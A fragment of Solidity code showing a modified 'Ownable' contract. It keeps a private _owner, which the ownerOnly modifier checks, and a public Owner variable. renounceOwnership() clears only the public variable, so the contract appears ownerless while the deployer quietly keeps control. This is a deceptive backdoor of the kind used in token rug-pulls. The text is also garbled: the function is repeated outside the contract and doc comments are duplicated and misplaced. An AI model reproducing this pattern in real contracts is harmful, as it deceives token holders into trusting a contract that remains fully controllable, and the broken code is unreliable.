contract Ownable is Context {
    address private _owner;
    address public Owner;
    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () internal {
        address msgSender = _msgSender();
        _owner = msgSender;
        Owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() internal view returns (address) {
        return _owner;
    }
    
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier ownerOnly() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     */
    function renounceOwnership() public virtual ownerOnly {
        emit OwnershipTransferred(Owner, address(0));
        Owner = address(0);
    }
}
/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 */
function renounceOwnership() public virtual ownerOnly {
    emit OwnershipTransferred(Owner, address(0));
    Owner = address(0);
}

/**
 * @dev Leaves the contract without owner. It will not be possible to call
 * `onlyOwner` functions anymore. Can only be called by the current owner.
 *
 */